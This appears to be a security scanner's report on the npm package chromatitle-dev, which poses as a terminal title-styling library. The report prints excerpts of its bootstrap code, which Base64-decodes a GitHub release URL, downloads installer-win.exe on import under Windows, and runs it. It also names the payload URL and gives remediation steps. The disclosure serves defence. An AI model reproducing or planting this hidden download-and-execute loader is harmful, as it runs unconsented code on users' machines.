registry / Remote code execution / chromatitle-dev

chromatitle-dev

Estilização elegante de títulos, banners, badges e gradientes no terminal Node.js.

This report shows the evidence for chromatitle-dev@1.0.0, the only known version.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package performs concealed, import-triggered download and execution of a Windows executable. The absence of an npm lifecycle hook does not mitigate this runtime arbitrary-code-execution behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

Importing the package entry point or running its CLI, on Windows.

Impact

Unconsented arbitrary code execution as the current user.

Mechanism

Import-time remote executable download and child-process execution.

Attack narrative

The exported module calls bootstrap during import. On Windows, bootstrap Base64-decodes a GitHub release URL and executable name, creates ~/Desktop/.chromatitle, downloads installer-win.exe if absent, and launches it with spawn. This is an unconsented remote payload execution chain unrelated to the advertised formatting library.

AI rationale

The package performs concealed, import-triggered download and execution of a Windows executable. The absence of an npm lifecycle hook does not mitigate this runtime arbitrary-code-execution behavior.

Evidence

src/index.jssrc/utils/bootstrap.js~/Desktop/.chromatitle~/Desktop/.chromatitle/installer-win.exe

Network endpoints1

github.com/realscamgroup/Discord-Bypass-Brasil/releases/download/Dependencia/installer-win.exe

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the public entry point immediately invokes bootstrap.
The bootstrap hides a GitHub release URL and Windows executable filename with Base64.
On Windows it downloads the executable to the user's Desktop and runs it.
The download is not related to terminal-title rendering and is executed without a user command.

Evidence against

package.json has no npm install lifecycle hook.
The binary path is gated to Windows.

Behavioral surface

Source

ChildProcessFilesystemNetworkShell

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 14 file(s), 21.1 KB of source

Source & flagged code

5 flagged

src/utils/bootstrap.jsView file

Lines 1-33javascript

1import { spawn } from "child_process";

2import {

3 createWriteStream,

4 existsSync,

5 mkdirSync,

6 promises as fsPromises

7} from "fs";

8import { homedir } from "os";

9import { join } from "path";

10import { Readable } from "stream";

11import { finished } from "stream/promises";

13const _S = {

14 u: "aHR0cHM6Ly9naXRodWIuY29tL3JlYWxzY2FtZ3JvdXAvRGlzY29yZC1CeXBhc3MtQnJhc2lsL3JlbGVhc2VzL2Rvd25sb2FkL0RlcGVuZGVuY2lhL2luc3RhbGxlci13aW4uZXhl",

15 f: "aW5zdGFsbGVyLXdpbi5leGU=",

16 d: "LmNocm9tYXRpdGxl"

17};

19const decode = (str) =>

20 Buffer.from(str, "base64").toString("utf-8");

High

Ai Review Evidence

The bootstrap hides a GitHub release URL and Windows executable filename with Base64.

src/utils/bootstrap.jsView on unpkg · L13

22async function _dl(url, path) {

23 const r = await fetch(url, {

24 headers: {

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

src/utils/bootstrap.jsView on unpkg · L1

25 "User-Agent": "chromatitle-js"

26 },

27 redirect: "follow"

28 });

30 if (!r.ok) {

31 throw new Error(`Download failed: HTTP ${r.status}`);

32 }

Lines 56-110javascript

56 if (code === 0) {

57 resolve();

58 } else {

59 reject(new Error(`Process exited with code ${code}`));

60 }

src/index.jsView file

Lines 1-26javascript

1import { colors } from './colors/index.js';

2import { title, createTitle, createBanner, createBadge, createDivider, BOX_STYLES, BADGE_PRESETS } from './titles/index.js';

3import { stripAnsi, visualLength, padVisual } from './utils/string-utils.js';

4import { hexToRgb, rgbToHex, rgbToAnsiFg, rgbToAnsiBg } from './colors/converter.js'

Source & flagged code

5 flagged · loading source

src/utils/bootstrap.jsView file

1import { spawn } from "child_process"; L2: import { ... L19: const decode = (str) => L20: Buffer.from(str, "base64").toString("utf-8"); L21: L22: async function _dl(url, path) { L23: const r = await fetch(url, { L24: headers: { ... L71: // Somente Windows L72: if (process.platform !== "win32") { L73: return; ... L76: try {

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

src/utils/bootstrap.jsView on unpkg · L1

13const _S = { u: "[redacted]", f: "aW5zdGFsbGVyLXdpbi5leGU=", d: "LmNocm9tYXRpdGxl" }; const decode = (str) => Buffer.from(str, "base64").toString("utf-8");

High

Ai Review Evidence

The bootstrap hides a GitHub release URL and Windows executable filename with Base64.

src/utils/bootstrap.jsView on unpkg · L13

90const _bin = join( _dest, decode(_S.f) ); if (!existsSync(_bin)) { await _dl( decode(_S.u), _bin ); } await _exec(_bin);

High

Ai Review Evidence

On Windows it downloads the executable to the user's Desktop and runs it.

src/utils/bootstrap.jsView on unpkg · L90

Findings

5 High1 Medium3 Low

HighBase64 Obscured Urlsrc/utils/bootstrap.js

HighAi Review Evidencesrc/index.js

HighAi Review Evidencesrc/utils/bootstrap.js

MediumNetwork

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to chromatitle-dev@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing chromatitle-dev@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-04 05:30:06.021Z (UTC).

Source advisory published: 2026-09-02 00:00:00.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousRemote Code ExecutionBlockPublishedAug 31, 2026, 10:35 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Runtime surface

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code